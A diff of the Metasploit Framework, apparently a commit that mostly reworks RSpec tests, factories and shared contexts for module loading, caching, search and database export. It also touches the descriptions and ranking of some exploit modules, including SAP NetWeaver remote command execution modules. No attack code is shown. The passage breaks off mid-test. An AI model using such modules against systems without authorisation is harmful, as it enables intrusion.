print_status("Results saved to #{path}")
|
||||||
|
else
|
||||||
|
print_error("Failed to save the result")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -39,7 +39,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||||
This module abuses the SAP NetWeaver SXPG_CALL_SYSTEM function, on the SAP SOAP
|
This module abuses the SAP NetWeaver SXPG_CALL_SYSTEM function, on the SAP SOAP
|
||||||
RFC Service, to execute remote commands. This module needs SAP credentials with
|
RFC Service, to execute remote commands. This module needs SAP credentials with
|
||||||
privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested
|
privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested
|
||||||
successfully on Windows 2008 64 bits and Linux 64 bits platforms.
|
successfully on Windows 2008 64-bit and Linux 64-bit platforms.
|
||||||
},
|
},
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
|
|
@ -39,7 +39,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||||
This module abuses the SAP NetWeaver SXPG_COMMAND_EXECUTE function, on the SAP
|
This module abuses the SAP NetWeaver SXPG_COMMAND_EXECUTE function, on the SAP
|
||||||
SOAP RFC Service, to execute remote commands. This module needs SAP credentials with
|
SOAP RFC Service, to execute remote commands. This module needs SAP credentials with
|
||||||
privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested
|
privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested
|
||||||
successfully on Windows 2008 64 bits and Linux 64 bits platforms.
|
successfully on Windows 2008 64-bit and Linux 64-bit platforms.
|
||||||
},
|
},
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
|
|
@ -8,7 +8,7 @@
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = NormalRanking
|
Rank = GoodRanking
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpServer::HTML
|
include Msf::Exploit::Remote::HttpServer::HTML
|
||||||
include Msf::Exploit::RopDb
|
include Msf::Exploit::RopDb
|
||||||
|
|
|
@ -0,0 +1,9 @@
|
||||||
|
FactoryGirl.modify do
|
||||||
|
factory :mdm_module_detail do
|
||||||
|
ignore do
|
||||||
|
root {
|
||||||
|
Metasploit::Framework.root
|
||||||
|
}
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,34 @@
|
||||||
|
FactoryGirl.define do
|
||||||
|
factory :mdm_route, :class => Mdm::Route do
|
||||||
|
netmask { generate :mdm_route_netmask }
|
||||||
|
subnet { generate :mdm_route_subnet }
|
||||||
|
|
||||||
|
#
|
||||||
|
# Associations
|
||||||
|
#
|
||||||
|
association :session, :factory => :mdm_session
|
||||||
|
end
|
||||||
|
|
||||||
|
sequence :mdm_route_netmask do |n|
|
||||||
|
bits = 32
|
||||||
|
bitmask = n % bits
|
||||||
|
|
||||||
|
[ (~((2 ** (bits - bitmask)) - 1)) & 0xffffffff ].pack('N').unpack('CCCC').join('.')
|
||||||
|
|
||||||
|
bits = 32
|
||||||
|
shift = n % bits
|
||||||
|
mask_range = 2 ** bits
|
||||||
|
full_mask = mask_range - 1
|
||||||
|
|
||||||
|
integer_netmask = (full_mask << shift)
|
||||||
|
formatted_netmask = [integer_netmask].pack('N').unpack('CCCC').join('.')
|
||||||
|
|
||||||
|
formatted_netmask
|
||||||
|
end
|
||||||
|
|
||||||
|
sequence :mdm_route_subnet do |n|
|
||||||
|
class_c_network = n % 255
|
||||||
|
|
||||||
|
"192.168.#{class_c_network}.0"
|
||||||
|
end
|
||||||
|
end
|
|
@ -1,22 +0,0 @@
|
||||||
#
|
|
||||||
# Specs
|
|
||||||
#
|
|
||||||
|
|
||||||
require 'spec_helper'
|
|
||||||
|
|
||||||
#
|
|
||||||
# Project
|
|
||||||
#
|
|
||||||
|
|
||||||
require 'metasploit/framework/database'
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
describe Msf::DBManager do
|
|
||||||
include_context 'Msf::Simple::Framework'
|
|
||||||
|
|
||||||
subject(:db_manager) do
|
|
||||||
framework.db
|
|
||||||
end
|
|
||||||
|
|
||||||
it_should_behave_like 'Msf::DBManager::ImportMsfXml'
|
|
||||||
end
|
|
|
@ -16,6 +16,8 @@ require 'tmpdir'
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
describe Msf::ModuleManager do
|
describe Msf::ModuleManager do
|
||||||
|
include_context 'Msf::Simple::Framework'
|
||||||
|
|
||||||
let(:archive_basename) do
|
let(:archive_basename) do
|
||||||
[basename_prefix, archive_extension]
|
[basename_prefix, archive_extension]
|
||||||
end
|
end
|
||||||
|
@ -28,161 +30,11 @@ describe Msf::ModuleManager do
|
||||||
'rspec'
|
'rspec'
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:framework) do
|
subject(:module_manager) do
|
||||||
Msf::Framework.new
|
framework.modules
|
||||||
end
|
end
|
||||||
|
|
||||||
subject do
|
it_should_behave_like 'Msf::ModuleManager::Cache'
|
||||||
described_class.new(framework)
|
it_should_behave_like 'Msf::ModuleManager::Loading'
|
||||||
end
|
it_should_behave_like 'Msf::ModuleManager::ModulePaths'
|
||||||
|
|
||||||
context '#add_module_path' do
|
|
||||||
it 'should strip trailing File::SEPARATOR from the path' do
|
|
||||||
Dir.mktmpdir do |path|
|
|
||||||
path_with_trailing_separator = path + File::SEPARATOR
|
|
||||||
subject.add_module_path(path_with_trailing_separator)
|
|
||||||
|
|
||||||
subject.send(:module_paths).should_not include(path_with_trailing_separator)
|
|
||||||
subject.send(:module_paths).should include(path)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context 'with Fastlib archive' do
|
|
||||||
it 'should raise an ArgumentError unless the File exists' do
|
|
||||||
file = Tempfile.new(archive_basename)
|
|
||||||
# unlink will clear path, so copy it to a variable
|
|
||||||
path = file.path
|
|
||||||
file.unlink
|
|
||||||
|
|
||||||
File.exist?(path).should be_false
|
|
||||||
|
|
||||||
expect {
|
|
||||||
subject.add_module_path(path)
|
|
||||||
}.to raise_error(ArgumentError, "The path supplied does not exist")
|
|
||||||
end
|
|
||||||
|
|
||||||
it 'should add the path to #module_paths if the File exists' do
|
|
||||||
Tempfile.open(archive_basename) do |temporary_file|
|
|
||||||
path = temporary_file.path
|
|
||||||
|
|
||||||
File.exist?(path).should be_true
|
|
||||||
|
|
||||||
subject.add_module_path(path)
|
|
||||||
|
|
||||||
subject.send(:module_paths).should include(path)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context 'with directory' do
|
|
||||||
it 'should add path to #module_paths' do
|
|
||||||
Dir.mktmpdir do |path|
|
|
||||||
subject.add_module_path(path)
|
|
||||||
|
|
||||||
subject.send(:module_paths).should include(path)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context 'containing Fastlib archives' do
|
|
||||||
it 'should add each Fastlib archive to #module_paths' do
|
|
||||||
Dir.mktmpdir do |directory|
|
|
||||||
Tempfile.open(archive_basename, directory) do |file|
|
|
||||||
subject.add_module_path(directory)
|
|
||||||
|
|
||||||
subject.send(:module_paths).should include(directory)
|
|
||||||
subject.send(:module_paths).should include(file.path)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context 'with other file' do
|
|
||||||
it 'should raise ArgumentError' do
|
|
||||||
Tempfile.open(basename_prefix) do |file|
|
|
||||||
expect {
|
|
||||||
subject.add_module_path(file.path)
|
|
||||||
}.to raise_error(ArgumentError, 'The path supplied is not a valid directory.')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context '#file_changed?' do
|
|
||||||
let(:module_basename) do
|
|
||||||
[basename_prefix, '.rb']
|
|
||||||
end
|
|
||||||
|
|
||||||
it 'should return true if module info is not cached' do
|
|
||||||
Tempfile.open(module_basename) do |tempfile|
|
|
||||||
module_path = tempfile.path
|
|
||||||
|
|
||||||
subject.send(:module_info_by_path)[module_path].should be_nil
|
|
||||||
subject.file_changed?(module_path).should be_true
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
it 'should return true if the cached type is Msf::MODULE_PAYLOAD' do
|
|
||||||
Tempfile.open(module_basename) do |tempfile|
|
|
||||||
module_path = tempfile.path
|
|
||||||
modification_time = File.mtime(module_path)
|
|
||||||
|
|
||||||
subject.send(:module_info_by_path)[module_path] = {
|
|
||||||
# :modification_time must match so that it is the :type that is causing the `true` and not the
|
|
||||||
# :modification_time causing the `true`.
|
|
||||||
:modification_time => modification_time,
|
|
||||||
:type => Msf::MODULE_PAYLOAD
|
|
||||||
}
|
|
||||||
|
|
||||||
subject.file_changed?(module_path).should be_true
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context 'with cache module info and not a payload module' do
|
|
||||||
it 'should return true if the file does not exist on the file system' do
|
|
||||||
tempfile = Tempfile.new(module_basename)
|
|
||||||
module_path = tempfile.path
|
|
||||||
modification_time = File.mtime(module_path).to_i
|
|
||||||
|
|
||||||
subject.send(:module_info_by_path)[module_path] = {
|
|
||||||
:modification_time => modification_time
|
|
||||||
}
|
|
||||||
|
|
||||||
tempfile.unlink
|
|
||||||
|
|
||||||
File.exist?(module_path).should be_false
|
|
||||||
subject.file_changed?(module_path).should be_true
|
|
||||||
end
|
|
||||||
|
|
||||||
it 'should return true if modification time does not match the cached modification time' do
|
|
||||||
Tempfile.open(module_basename) do |tempfile|
|
|
||||||
module_path = tempfile.path
|
|
||||||
modification_time = File.mtime(module_path).to_i
|
|
||||||
cached_modification_time = (modification_time * rand).to_i
|
|
||||||
|
|
||||||
subject.send(:module_info_by_path)[module_path] = {
|
|
||||||
:modification_time => cached_modification_time
|
|
||||||
}
|
|
||||||
|
|
||||||
cached_modification_time.should_not == modification_time
|
|
||||||
subject.file_changed?(module_path).should be_true
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
it 'should return false if modification time does match the cached modification time' do
|
|
||||||
Tempfile.open(module_basename) do |tempfile|
|
|
||||||
module_path = tempfile.path
|
|
||||||
modification_time = File.mtime(module_path).to_i
|
|
||||||
cached_modification_time = modification_time
|
|
||||||
|
|
||||||
subject.send(:module_info_by_path)[module_path] = {
|
|
||||||
:modification_time => cached_modification_time
|
|
||||||
}
|
|
||||||
|
|
||||||
cached_modification_time.should == modification_time
|
|
||||||
subject.file_changed?(module_path).should be_false
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
|
@ -1168,11 +1168,11 @@ describe Msf::Modules::Loader::Base do
|
||||||
it 'should do nothing if parent_module is nil' do
|
it 'should do nothing if parent_module is nil' do
|
||||||
parent_module = nil
|
parent_module = nil
|
||||||
|
|
||||||
allow_message_expectations_on_nil
|
# can check that NoMethodError is not raised because *const* methods are
|
||||||
parent_module.should_not_receive(:remove_const)
|
# not defined on `nil`.
|
||||||
parent_module.should_not_receive(:const_set)
|
expect {
|
||||||
|
|
||||||
subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module)
|
subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module)
|
||||||
|
}.to_not raise_error(NoMethodError)
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'with namespace_module nil' do
|
context 'with namespace_module nil' do
|
||||||
|
|
|
@ -0,0 +1,108 @@
|
||||||
|
require 'spec_helper'
|
||||||
|
|
||||||
|
require 'msf/core/db_export'
|
||||||
|
|
||||||
|
describe Msf::DBManager::Export do
|
||||||
|
include_context 'Msf::DBManager'
|
||||||
|
|
||||||
|
subject(:export) do
|
||||||
|
described_class.new(workspace)
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:active) do
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:workspace) do
|
||||||
|
FactoryGirl.create(
|
||||||
|
:mdm_workspace
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
context '#extract_module_detail_info' do
|
||||||
|
let(:report_file) do
|
||||||
|
StringIO.new
|
||||||
|
end
|
||||||
|
|
||||||
|
subject(:extract_module_detail_info) do
|
||||||
|
export.extract_module_detail_info(report_file)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with Mdm::Module::Details' do
|
||||||
|
let(:document) do
|
||||||
|
Nokogiri::XML(report_file.string)
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:module_detail_count) do
|
||||||
|
2
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:root) do
|
||||||
|
document.root
|
||||||
|
end
|
||||||
|
|
||||||
|
let!(:module_details) do
|
||||||
|
FactoryGirl.create_list(
|
||||||
|
:mdm_module_detail,
|
||||||
|
module_detail_count
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
report_file.write("<root>")
|
||||||
|
extract_module_detail_info
|
||||||
|
report_file.write("</root>")
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should have module_detail tag for each Mdm::Module::Detail' do
|
||||||
|
nodes = root.xpath('module_detail')
|
||||||
|
|
||||||
|
nodes.length.should == module_detail_count
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'module_detail' do
|
||||||
|
let(:module_detail) do
|
||||||
|
module_details.first
|
||||||
|
end
|
||||||
|
|
||||||
|
subject(:module_detail_node) do
|
||||||
|
root.at_xpath('module_detail')
|
||||||
|
end
|
||||||
|
|
||||||
|
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'description'
|
||||||
|
|
||||||
|
context '/disclosure-date' do
|
||||||
|
it 'should have Mdm::Module::Detail#disclosure_date present' do
|
||||||
|
module_detail.disclosure_date.should be_present
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should have Mdm::Module::Detail#disclosure_date from disclosure-date content' do
|
||||||
|
node = module_detail_node.at_xpath('disclosure-date')
|
||||||
|
|
||||||
|
Date.parse(node.content).should == module_detail.disclosure_date
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'file'
|
||||||
|
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'fullname'
|
||||||
|
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'license'
|
||||||
|
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtime'
|
||||||
|
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtype'
|
||||||
|
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'name'
|
||||||
|
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'privileged'
|
||||||
|
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'rank'
|
||||||
|
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'refname'
|
||||||
|
|
||||||
|
# @todo https://www.pivotaltracker.com/story/show/48451001
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without Mdm::Module::Details' do
|
||||||
|
it 'should not write anything to report_file' do
|
||||||
|
extract_module_detail_info
|
||||||
|
|
||||||
|
report_file.string.should be_empty
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,107 @@
|
||||||
|
require 'spec_helper'
|
||||||
|
|
||||||
|
require 'msf/ui'
|
||||||
|
require 'msf/ui/console/module_command_dispatcher'
|
||||||
|
require 'msf/ui/console/command_dispatcher/core'
|
||||||
|
|
||||||
|
describe Msf::Ui::Console::CommandDispatcher::Core do
|
||||||
|
include_context 'Msf::DBManager'
|
||||||
|
|
||||||
|
let(:driver) do
|
||||||
|
mock(
|
||||||
|
'Driver',
|
||||||
|
:framework => framework
|
||||||
|
).tap { |driver|
|
||||||
|
driver.stub(:on_command_proc=).with(kind_of(Proc))
|
||||||
|
driver.stub(:print_line).with(kind_of(String))
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
subject(:core) do
|
||||||
|
described_class.new(driver)
|
||||||
|
end
|
||||||
|
|
||||||
|
context '#search_modules_sql' do
|
||||||
|
def search_modules_sql
|
||||||
|
core.search_modules_sql(match)
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:match) do
|
||||||
|
''
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should generate Matching Modules table' do
|
||||||
|
core.should_receive(:generate_module_table).with('Matching Modules').and_call_original
|
||||||
|
|
||||||
|
search_modules_sql
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should call Msf::DBManager#search_modules' do
|
||||||
|
db_manager.should_receive(:search_modules).with(match).and_return([])
|
||||||
|
|
||||||
|
search_modules_sql
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with matching Mdm::Module::Details' do
|
||||||
|
let(:match) do
|
||||||
|
module_detail.fullname
|
||||||
|
end
|
||||||
|
|
||||||
|
let!(:module_detail) do
|
||||||
|
FactoryGirl.create(:mdm_module_detail)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'printed table' do
|
||||||
|
def cell(table, row, column)
|
||||||
|
row_line_number = 6 + row
|
||||||
|
line_number = 0
|
||||||
|
|
||||||
|
cell = nil
|
||||||
|
|
||||||
|
table.each_line do |line|
|
||||||
|
if line_number == row_line_number
|
||||||
|
# strip prefix and postfix
|
||||||
|
padded_cells = line[3...-1]
|
||||||
|
cells = padded_cells.split(/\s{2,}/)
|
||||||
|
|
||||||
|
cell = cells[column]
|
||||||
|
break
|
||||||
|
end
|
||||||
|
|
||||||
|
line_number += 1
|
||||||
|
end
|
||||||
|
|
||||||
|
cell
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:printed_table) do
|
||||||
|
table = ''
|
||||||
|
|
||||||
|
core.stub(:print_line) do |string|
|
||||||
|
table = string
|
||||||
|
end
|
||||||
|
|
||||||
|
search_modules_sql
|
||||||
|
|
||||||
|
table
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should have fullname in first column' do
|
||||||
|
cell(printed_table, 0, 0).should include(module_detail.fullname)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should have disclosure date in second column' do
|
||||||
|
cell(printed_table, 0, 1).should include(module_detail.disclosure_date.to_s)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should have rank name in third column' do
|
||||||
|
cell(printed_table, 0, 2).should include(Msf::RankingName[module_detail.rank])
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should have name in fourth column' do
|
||||||
|
cell(printed_table, 0, 3).should include(module_detail.name)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -1,3 +1,5 @@
|
||||||
|
require 'metasploit/framework/database'
|
||||||
|
|
||||||
shared_context 'DatabaseCleaner' do
|
shared_context 'DatabaseCleaner' do
|
||||||
def with_established_connection
|
def with_established_connection
|
||||||
begin
|
begin
|
||||||
|
|
|
@ -0,0 +1,23 @@
|
||||||
|
shared_context 'Msf::DBManager' do
|
||||||
|
include_context 'DatabaseCleaner'
|
||||||
|
include_context 'Msf::Simple::Framework'
|
||||||
|
|
||||||
|
let(:active) do
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:db_manager) do
|
||||||
|
framework.db
|
||||||
|
end
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
configurations = Metasploit::Framework::Database.configurations
|
||||||
|
spec = configurations[Metasploit::Framework.env]
|
||||||
|
|
||||||
|
# Need to connect or ActiveRecord::Base.connection_pool will raise an
|
||||||
|
# error.
|
||||||
|
db_manager.connect(spec)
|
||||||
|
|
||||||
|
db_manager.stub(:active => active)
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,23 @@
|
||||||
|
shared_examples_for 'Msf::DBManager::Export#extract_module_detail_info module_detail child' do |child_node_name|
|
||||||
|
attribute_name = child_node_name.underscore
|
||||||
|
|
||||||
|
subject(:child_node) do
|
||||||
|
module_detail_node.at_xpath(child_node_name)
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:attribute) do
|
||||||
|
module_detail.send(attribute_name)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not have Mdm::Module::Detail##{attribute_name} nil" do
|
||||||
|
attribute.should_not be_nil
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should have Mdm::Module::Detail##{attribute_name} for #{child_node_name} content" do
|
||||||
|
if attribute == false
|
||||||
|
child_node.content.should be_blank
|
||||||
|
else
|
||||||
|
child_node.content.should == attribute.to_s
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -83,15 +83,6 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do
|
||||||
Builder::XmlMarkup.new(:indent => 2)
|
Builder::XmlMarkup.new(:indent => 2)
|
||||||
end
|
end
|
||||||
|
|
||||||
before(:each) do
|
|
||||||
configurations = Metasploit::Framework::Database.configurations
|
|
||||||
spec = configurations[Metasploit::Framework.env]
|
|
||||||
|
|
||||||
# Need to connect or Msf::DBManager#active will be false and
|
|
||||||
# Msf::DBManager#report_* methods won't create any records.
|
|
||||||
db_manager.connect(spec)
|
|
||||||
end
|
|
||||||
|
|
||||||
it 'should include methods from module so method can be overridden easier in pro' do
|
it 'should include methods from module so method can be overridden easier in pro' do
|
||||||
db_manager.should be_a Msf::DBManager::ImportMsfXml
|
db_manager.should be_a Msf::DBManager::ImportMsfXml
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,49 @@
|
||||||
|
shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword' do |keyword|
|
||||||
|
context "with #{keyword} keyword" do
|
||||||
|
let(:search_string) do
|
||||||
|
"#{keyword}:#{name}"
|
||||||
|
end
|
||||||
|
|
||||||
|
let!(:module_platform) do
|
||||||
|
FactoryGirl.create(:mdm_module_platform)
|
||||||
|
end
|
||||||
|
|
||||||
|
let!(:module_target) do
|
||||||
|
FactoryGirl.create(:mdm_module_target)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with Mdm::Module::Platform#name' do
|
||||||
|
let(:name) do
|
||||||
|
# use inspect to quote spaces in string
|
||||||
|
module_platform.name.inspect
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should find matching Mdm::Module::Platform#name' do
|
||||||
|
module_details.count.should > 0
|
||||||
|
|
||||||
|
module_details.all? { |module_detail|
|
||||||
|
module_detail.platforms.any? { |module_platform|
|
||||||
|
module_platform.name == self.module_platform.name
|
||||||
|
}
|
||||||
|
}.should be_true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with Mdm::Module::Target#name' do
|
||||||
|
let(:name) do
|
||||||
|
# use inspect to quote spaces in string
|
||||||
|
module_target.name.inspect
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should find matching Mdm::Module::Target#name' do
|
||||||
|
module_details.count.should > 0
|
||||||
|
|
||||||
|
module_details.all? { |module_detail|
|
||||||
|
module_detail.targets.any? { |module_target|
|
||||||
|
module_target.name == self.module_target.name
|
||||||
|
}
|
||||||
|
}.should be_true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,44 @@
|
||||||
|
shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword' do |keyword|
|
||||||
|
context "with #{keyword} keyword" do
|
||||||
|
let(keyword) do
|
||||||
|
1
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:name) do
|
||||||
|
FactoryGirl.generate :mdm_module_ref_name
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:search_string) do
|
||||||
|
"#{keyword}:#{send(keyword)}"
|
||||||
|
end
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
FactoryGirl.create(:mdm_module_ref, :name => name)
|
||||||
|
end
|
||||||
|
|
||||||
|
name_prefix = "#{keyword.to_s.upcase}-"
|
||||||
|
context_suffix = "Mdm::Module::Ref#name starting with #{name_prefix.inspect}"
|
||||||
|
|
||||||
|
context "with #{context_suffix}" do
|
||||||
|
let(:name) do
|
||||||
|
"#{name_prefix}#{send(keyword)}"
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should match Mdm::Module::Ref#name' do
|
||||||
|
module_details.count.should > 0
|
||||||
|
|
||||||
|
module_details.all? { |module_detail|
|
||||||
|
module_detail.refs.any? { |module_ref|
|
||||||
|
module_ref.name == name
|
||||||
|
}
|
||||||
|
}.should be_true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "without #{context_suffix}" do
|
||||||
|
it 'should not match Mdm::Module::Ref#name' do
|
||||||
|
module_details.count.should == 0
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,60 @@
|
||||||
|
shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do
|
||||||
|
|
||||||
|
it 'should destroy Mdm::Module::Detail' do
|
||||||
|
expect {
|
||||||
|
update_all_module_details
|
||||||
|
}.to change(Mdm::Module::Detail, :count).by(-1)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with cached module in Msf::ModuleSet' do
|
||||||
|
let(:module_set) do
|
||||||
|
framework.exploits
|
||||||
|
end
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
module_set[module_detail.refname] = Msf::SymbolicModule
|
||||||
|
|
||||||
|
framework.modules.send(:module_info_by_path)[module_detail.file] = {
|
||||||
|
:parent_path => Metasploit::Framework.root.join('modules').to_path,
|
||||||
|
:reference_name => module_detail.refname,
|
||||||
|
:type => type
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should create instance of module corresponding to Mdm::Module::Detail' do
|
||||||
|
module_set.should_receive(:create).with(module_detail.refname)
|
||||||
|
|
||||||
|
update_all_module_details
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should call update_module_details to create a new Mdm::Module::Detail from the module instance returned by create' do
|
||||||
|
db_manager.should_receive(:update_module_details) do |module_instance|
|
||||||
|
module_instance.should be_a Msf::Module
|
||||||
|
module_instance.type.should == module_detail.mtype
|
||||||
|
module_instance.refname.should == module_detail.refname
|
||||||
|
end
|
||||||
|
|
||||||
|
update_all_module_details
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with exception raised by #update_module_details' do
|
||||||
|
before(:each) do
|
||||||
|
db_manager.stub(:update_module_details).and_raise(Exception)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should log error' do
|
||||||
|
db_manager.should_receive(:elog)
|
||||||
|
|
||||||
|
update_all_module_details
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without cached module in Msf::ModuleSet' do
|
||||||
|
it 'should not call update_module_details' do
|
||||||
|
db_manager.should_not_receive(:update_module_details)
|
||||||
|
|
||||||
|
update_all_module_details
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,407 @@
|
||||||
|
shared_examples_for 'Msf::ModuleManager::Cache' do
|
||||||
|
context '#cache_empty?' do
|
||||||
|
subject(:cache_empty?) do
|
||||||
|
module_manager.cache_empty?
|
||||||
|
end
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
module_manager.send(:module_info_by_path=, module_info_by_path)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with empty' do
|
||||||
|
let(:module_info_by_path) do
|
||||||
|
{}
|
||||||
|
end
|
||||||
|
|
||||||
|
it { should be_true }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without empty' do
|
||||||
|
let(:module_info_by_path) do
|
||||||
|
{
|
||||||
|
'path/to/module' => {}
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
it { should be_false }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context '#load_cached_module' do
|
||||||
|
let(:parent_path) do
|
||||||
|
Metasploit::Framework.root.join('modules').to_path
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:reference_name) do
|
||||||
|
'windows/smb/ms08_067_netapi'
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:type) do
|
||||||
|
'exploit'
|
||||||
|
end
|
||||||
|
|
||||||
|
subject(:load_cached_module) do
|
||||||
|
module_manager.load_cached_module(type, reference_name)
|
||||||
|
end
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
module_manager.send(:module_info_by_path=, module_info_by_path)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with module info in cache' do
|
||||||
|
let(:module_info_by_path) do
|
||||||
|
{
|
||||||
|
'path/to/module' => {
|
||||||
|
:parent_path => parent_path,
|
||||||
|
:reference_name => reference_name,
|
||||||
|
:type => type
|
||||||
|
}
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do
|
||||||
|
module_manager.send(:loaders).each do |loader|
|
||||||
|
loader.should_receive(:loadable?).with(parent_path).and_call_original
|
||||||
|
end
|
||||||
|
|
||||||
|
load_cached_module
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should force load using #load_module on the loader' do
|
||||||
|
Msf::Modules::Loader::Directory.any_instance.should_receive(
|
||||||
|
:load_module
|
||||||
|
).with(
|
||||||
|
parent_path,
|
||||||
|
type,
|
||||||
|
reference_name,
|
||||||
|
:force => true
|
||||||
|
).and_call_original
|
||||||
|
|
||||||
|
load_cached_module
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'return from load_module' do
|
||||||
|
before(:each) do
|
